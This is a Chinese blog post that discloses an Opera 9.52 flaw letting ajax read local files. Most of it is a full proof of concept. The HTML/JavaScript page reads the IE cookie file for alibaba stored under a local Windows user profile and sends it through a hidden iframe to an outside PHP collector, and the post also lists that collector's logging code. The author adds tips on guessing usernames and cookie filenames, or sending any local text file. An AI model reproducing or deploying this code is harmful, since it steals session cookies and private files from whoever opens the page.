opera 9.52使用ajax读取本地文件漏洞

by 空虚浪子心

这也可能是一个安全特性吧,opera可以使用ajax读取本地文件。

ff3没有这个漏洞。

不废话,看代码吧。

利用方式如下:

这段代码保存为本地htm文件,然后使用opera打开。

将会把本地用户名为administrator在alibaba的cookie,发送到http://inbreak.net/kxlzxtest/testxss/a.php

a.htm 代码
  1. <iframe id="framekxlzx" width=0 height=0></iframe>  
  2. <script>  
  3. var xmlHttp;  
  4. function createXMLHttp(){  
  5.     if(window.XMLHttpRequest){  
  6.         xmlHttp = new XMLHttpRequest();          
  7.     }  
  8.     else if(window.ActiveXObject){  
  9.         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
  10.     }  
  11. }  
  12.   
  13. function startRequest(doUrl){  
  14.           
  15.     createXMLHttp();  
  16.       
  17.     xmlHttp.onreadystatechange = handleStateChange;  
  18.       
  19.     xmlHttp.open("GET", doUrl, true);  
  20.       
  21.     xmlHttp.send(null);  
  22.       
  23.       
  24. }   
  25.   
  26. function handleStateChange(){  
  27.     if (xmlHttp.readyState == 4 ){  
  28.             var strResponse = "";  
  29.             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
  30.               
  31.     }  
  32. }  
  33.   
  34. function doMyAjax(user,file)  
  35. {  
  36.         var time = Math.random();  
  37.           
  38.         var strPer = ‘file://localhost/C:/Documents%20and%20Settings/’+user+’/Cookies/’+file+’?time=’+time;  
  39.           
  40.         startRequest(strPer);  
  41.       
  42. }  
  43.   
  44. function framekxlzxPost(text)  
  45. {  
  46.     document.getElementById(‘framekxlzx’).src="http://inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
  47.     alert(/ok/);  
  48. }  
  49.   
  50. doMyAjax(‘administrator’,’administrator@alibaba[1].txt’);  
  51.   
  52. </script>  

a.php代码:

a.php 代码
  1. <?php      
  2.    
  3. $user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
  4. $user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
  5.   
  6. $fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
  7. fwrite($fp,$_GET["cookie"]);      
  8. fclose($fp);    
  9. ?>     

a.php会按照   IP+时间+cookie.txt 格式生成一个txt文件。

例如:121.0.29.2252009-01-05 11:55:02cookie.txt

里面保存着administrator@alibaba[1].txt的内容。

几点说明:
1,cookie文件是IE的,比较XX,但是有很多人都会IE和opera混用。
2,必须预测本地用户名,不过很多人都是administrator。
3,必须预测cookie文件名。这个可以取一些常用网站的,反正ajax是异步,你可以同时调用几个方法。
4,或者你可以发送任何本地TXT文件。

opera可能说这是特性?不知道了,反正FF3没这个漏洞,使用这种方式会报错访问拒绝。

发表评论?

0 条评论。

发表评论